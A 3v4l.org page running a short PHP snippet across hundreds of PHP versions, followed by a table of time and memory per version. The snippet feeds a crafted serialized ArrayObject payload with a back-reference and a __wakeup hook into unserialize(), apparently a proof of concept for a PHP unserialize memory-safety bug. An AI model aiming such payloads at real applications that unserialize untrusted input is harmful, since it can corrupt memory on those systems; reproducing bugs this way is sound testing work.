3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj { var $y; function __wakeup() { $this->y = 2; } } $inner = 'x:i:1;O:3:"obj":1:{s:1:"y";R:1;};m:a:1:{i:0;O:8:"stdClass":0:{}}'; $exploit = 'C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}'; var_dump(unserialize($exploit));

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.70.0160.00318.73
8.3.60.0070.00716.63
8.3.50.0100.00821.21
8.3.40.0040.01118.97
8.3.30.0090.00618.79
8.3.20.0040.00420.20
8.3.10.0040.00423.61
8.3.00.0000.00719.67
8.2.180.0090.01318.41
8.2.170.0150.00622.96
8.2.160.0070.00720.57
8.2.150.0050.00324.18
8.2.140.0040.00424.66
8.2.130.0040.00426.16
8.2.120.0040.00417.75
8.2.110.0100.00019.21
8.2.100.0000.01117.72
8.2.90.0060.00318.03
8.2.80.0030.00518.09
8.2.70.0030.00617.63
8.2.60.0040.00417.63
8.2.50.0030.00617.55
8.2.40.0080.00018.03
8.2.30.0070.00317.97
8.2.20.0000.00717.50
8.2.10.0070.00018.04
8.2.00.0040.00418.02
8.1.280.0140.00325.92
8.1.270.0140.00420.23
8.1.260.0040.00426.35
8.1.250.0030.00328.09
8.1.240.0060.00322.53
8.1.230.0110.00020.95
8.1.220.0000.00817.78
8.1.210.0070.00019.09
8.1.200.0000.00817.48
8.1.190.0000.00817.35
8.1.180.0080.00018.10
8.1.170.0000.00717.62
8.1.160.0050.00222.02
8.1.150.0040.00418.80
8.1.140.0000.00817.51
8.1.130.0000.00717.70
8.1.120.0030.00417.43
8.1.110.0030.00517.49
8.1.100.0050.00317.40
8.1.90.0000.00717.34
8.1.80.0070.00017.51
8.1.70.0000.00617.41
8.1.60.0000.00717.57
8.1.50.0040.00417.50
8.1.40.0040.00417.48
8.1.30.0040.00417.55
8.1.20.0070.00017.71
8.1.10.0080.00017.49
8.1.00.0040.00417.33
8.0.300.0040.00420.03
8.0.290.0000.00716.75
8.0.280.0060.00318.46
8.0.270.0030.00317.17
8.0.260.0060.00317.16
8.0.250.0000.00717.02
8.0.240.0070.00017.07
8.0.230.0070.00017.00
8.0.220.0030.00316.97
8.0.210.0000.00816.99
8.0.200.0000.00616.98
8.0.190.0000.00817.07
8.0.180.0050.00316.95
8.0.170.0060.00316.97
8.0.160.0070.00016.91
8.0.150.0040.00416.86
8.0.140.0030.00316.91
8.0.130.0030.00313.37
8.0.120.0050.00316.83
8.0.110.0040.00416.84
8.0.100.0000.00716.94
8.0.90.0040.00417.00
8.0.80.0130.00316.92
8.0.70.0000.00716.82
8.0.60.0030.00516.95
8.0.50.0050.00317.01
8.0.30.0130.00617.13
8.0.20.0100.00917.40
8.0.10.0000.00716.96
8.0.00.0090.00816.68
7.4.330.0060.00015.08
7.4.320.0000.00616.57
7.4.300.0040.00416.52
7.4.290.0030.00316.60
7.4.280.0000.00816.57
7.4.270.0040.00416.45
7.4.260.0030.00616.58
7.4.250.0060.00316.50
7.4.240.0030.00416.50
7.4.230.0040.00416.48
7.4.220.0160.00616.71
7.4.210.0090.00616.63
7.4.200.0080.00016.49
7.4.160.0130.00316.44
7.4.150.0070.01117.40
7.4.140.0130.01017.86
7.4.130.0110.00916.47
7.4.120.0120.01316.56
7.4.110.0100.00716.54
7.4.100.0170.00316.33
7.4.90.0140.00316.37
7.4.80.0090.00919.39
7.4.70.0140.00516.65
7.4.60.0130.00316.62
7.4.50.0000.00816.39
7.4.40.0120.00316.64
7.4.30.0070.01016.47
7.4.10.0070.00714.77
7.4.00.0050.01314.89
7.3.330.0020.00213.24
7.3.320.0000.00613.33
7.3.310.0040.00416.47
7.3.300.0030.00316.33
7.3.290.0100.00916.33
7.3.280.0090.00616.36
7.3.270.0110.00717.40
7.3.260.0090.00916.46
7.3.250.0100.00716.40
7.3.240.0100.00716.68
7.3.230.0100.00716.47
7.3.210.0130.00316.38
7.3.200.0130.00316.55
7.3.190.0130.00316.39
7.3.180.0090.00616.31
7.3.170.0130.00316.34
7.3.160.0080.01216.42
7.3.130.0120.00615.16
7.3.120.0040.01414.99
7.3.110.0030.01314.88
7.3.100.0040.01114.55
7.3.90.0090.00614.91
7.3.80.0000.01115.04
7.3.70.0040.01114.98
7.3.60.0090.00014.64
7.3.50.0060.00714.79
7.3.40.0030.01014.72
7.3.30.0030.00614.87
7.3.20.0030.00716.79
7.3.10.0000.01316.78
7.3.00.0120.00316.74
7.2.330.0090.00916.74
7.2.320.0120.01216.35
7.2.310.0130.00316.56
7.2.300.0060.01216.69
7.2.290.0140.00616.49
7.2.260.0120.00615.19
7.2.250.0080.00615.07
7.2.240.0070.00715.16
7.2.230.0130.00314.91
7.2.220.0060.00915.13
7.2.210.0090.00615.04
7.2.200.0090.00014.97
7.2.190.0070.00714.98
7.2.180.0080.00515.05
7.2.170.0030.01314.97
7.2.160.0120.00314.94
7.2.150.0060.00816.80
7.2.140.0030.01616.82
7.2.130.0070.00417.01
7.2.120.0070.00716.93
7.2.110.0030.00616.94
7.2.100.0030.01016.47
7.2.90.0030.00916.95
7.2.80.0080.00916.79
7.2.70.0050.00516.97
7.2.60.0030.01016.68
7.2.50.0070.01016.91
7.2.40.0120.00016.80
7.2.30.0070.00716.75
7.2.20.0130.00316.68
7.2.10.0110.00416.97
7.2.00.0070.01018.09
7.1.330.0070.00715.91
7.1.320.0060.00615.90
7.1.310.0080.00815.64
7.1.300.0080.00815.75
7.1.290.0070.00715.55
7.1.280.0110.00415.69
7.1.270.0040.00715.77
7.1.260.0000.01015.69
7.1.250.0000.01015.93
7.1.240.0000.00815.60
7.1.230.0060.00615.85
7.1.220.0070.00715.88
7.1.210.0000.01415.78
7.1.200.0050.00915.67
7.1.190.0000.01115.77
7.1.180.0070.00715.59
7.1.170.0000.00915.69
7.1.160.0060.00315.56
7.1.150.0000.00915.62
7.1.140.0040.01015.90
7.1.130.0040.01115.76
7.1.120.0080.00415.84
7.1.110.0070.00715.67
7.1.100.0050.00816.78
7.1.90.0060.00615.60
7.1.80.0080.00815.68
7.1.70.0020.00716.36
7.1.60.0070.01117.34
7.1.50.0040.01316.45
7.1.40.0030.01215.47
7.1.30.0060.01015.69
7.1.20.0080.00415.47
7.1.10.0000.01015.92
7.1.00.0030.04219.15
7.0.330.0110.00015.50
7.0.320.0040.01515.32
7.0.310.0030.01015.46
7.0.300.0050.00515.17
7.0.290.0040.00715.41
7.0.280.0070.00715.47
7.0.270.0090.00315.46
7.0.260.0070.00715.43
7.0.250.0040.00915.49
7.0.240.0060.01015.37
7.0.230.0100.00315.61
7.0.220.0100.00315.50
7.0.210.0000.00915.24
7.0.200.0110.00715.22
7.0.190.0060.00615.50
7.0.180.0030.01015.54
7.0.170.0050.00515.55
7.0.160.0090.00015.53
7.0.150.0040.00715.53
7.0.140.0030.00715.56
7.0.130.0040.00915.43
7.0.120.0000.01115.45
7.0.110.0000.01115.55
7.0.100.0040.00815.27
7.0.90.0000.01015.43
7.0.80.0030.00715.65
7.0.70.0030.00715.29
7.0.60.0050.04717.61
7.0.50.0010.04116.72
7.0.40.0000.05416.90
7.0.30.0300.04016.82
7.0.20.0170.03516.93
7.0.10.0180.01816.86
7.0.00.0100.02816.81
5.6.400.0030.00914.51
5.6.390.0130.00014.35
5.6.380.0080.00414.48
5.6.370.0100.00314.63
5.6.360.0000.01214.21
5.6.350.0070.00713.99
5.6.340.0080.00014.60
5.6.330.0000.00914.54
5.6.320.0000.00914.29
5.6.310.0000.01214.28
5.6.300.0070.00714.16
5.6.290.0080.00514.43
5.6.280.0040.01817.64
5.6.270.0080.00414.58
5.6.260.0030.00714.29
5.6.250.0030.00714.42
5.6.240.0070.00314.34
5.6.230.0050.00514.43
5.6.220.0060.00814.61
5.6.210.0100.02517.43
5.6.200.0070.04516.26
5.6.190.0030.04317.54
5.6.180.0220.03817.32
5.6.170.0170.02317.27
5.6.160.0030.04817.36
5.6.150.0030.02816.29
5.6.140.0140.03516.20
5.6.130.0060.03716.14
5.6.120.0030.04517.84
5.6.110.0050.02217.65
5.6.100.0050.04617.77
5.6.90.0020.02617.69
5.6.80.0090.04017.34
5.6.70.1880.02317.51
5.6.60.0050.00514.12
5.6.50.0000.01014.43
5.6.40.0050.00514.64
5.6.30.0050.00514.20
5.6.20.0040.00814.13
5.6.10.0100.00014.20
5.6.00.0030.00614.12
5.5.380.0000.01014.17
5.5.370.0000.01014.11
5.5.360.0040.00714.07
5.5.350.0080.03817.14
5.5.340.0050.03416.08
5.5.330.0070.04317.23
5.5.320.0230.04117.19
5.5.310.0140.02217.10
5.5.300.0030.02316.13
5.5.290.0020.03216.13
5.5.280.0050.03317.46
5.5.270.0060.04417.61
5.5.260.0060.04517.41
5.5.250.0040.02617.38
5.5.240.0130.01817.21
5.5.230.0070.00314.00
5.5.220.0070.00214.00
5.5.210.0000.01014.26
5.5.200.0100.00014.30
5.5.190.0060.00614.33
5.5.180.0050.00514.12
5.5.170.0020.00714.03
5.5.160.0030.00914.09
5.5.150.0000.01014.30
5.5.140.0050.00513.98
5.5.130.0050.00514.20
5.5.120.0000.01414.10
5.5.110.0040.00514.33
5.5.100.0030.00614.16
5.5.90.0100.00014.17
5.5.80.0060.00314.05
5.5.70.0070.00413.78
5.5.60.0100.00014.22
5.5.50.0070.00414.26
5.5.40.0070.00314.25
5.5.30.0000.01014.30
5.5.20.0000.01014.20
5.5.10.0040.00714.09
5.5.00.0000.01314.09
5.4.450.0380.03015.71
5.4.440.0330.03515.81
5.4.430.0450.03715.80
5.4.420.0410.03215.64
5.4.410.0340.02915.60
5.4.400.0390.02615.75
5.4.390.0340.03015.77
5.4.380.0330.03315.64
5.4.370.0380.03015.59
5.4.360.0400.03715.65
5.4.350.0300.03315.71
5.4.340.0360.04115.59
5.4.330.0060.00012.19
5.4.320.0330.02915.65
5.4.310.0290.02815.59
5.4.300.0500.02815.64
5.4.290.0400.04115.63
5.4.280.0550.02815.54
5.4.270.0420.03215.74
5.4.260.0330.03015.55
5.4.250.0370.03215.63
5.4.240.0310.03315.58
5.4.230.0330.03215.48
5.4.220.0420.03515.71
5.4.210.0390.03715.75
5.4.200.0330.02915.70
5.4.190.0270.03815.54
5.4.180.0350.03215.68
5.4.170.0100.02615.63
5.4.160.0070.03015.58
5.4.150.0330.04815.55
5.4.140.0470.02314.33
5.4.130.0470.03214.34
5.4.120.0350.03014.26
5.4.110.0360.03614.39
5.4.100.0270.02814.21
5.4.90.0230.03114.34
5.4.80.0300.02714.31
5.4.70.0130.03214.28
5.4.60.0150.01814.31
5.4.50.0030.03714.17
5.4.40.0030.03914.20
5.4.30.0100.02714.25
5.4.20.0180.01814.21
5.4.10.0070.00412.19
5.4.00.0070.00012.19

preferences:
54.61 ms | 401 KiB | 5 Q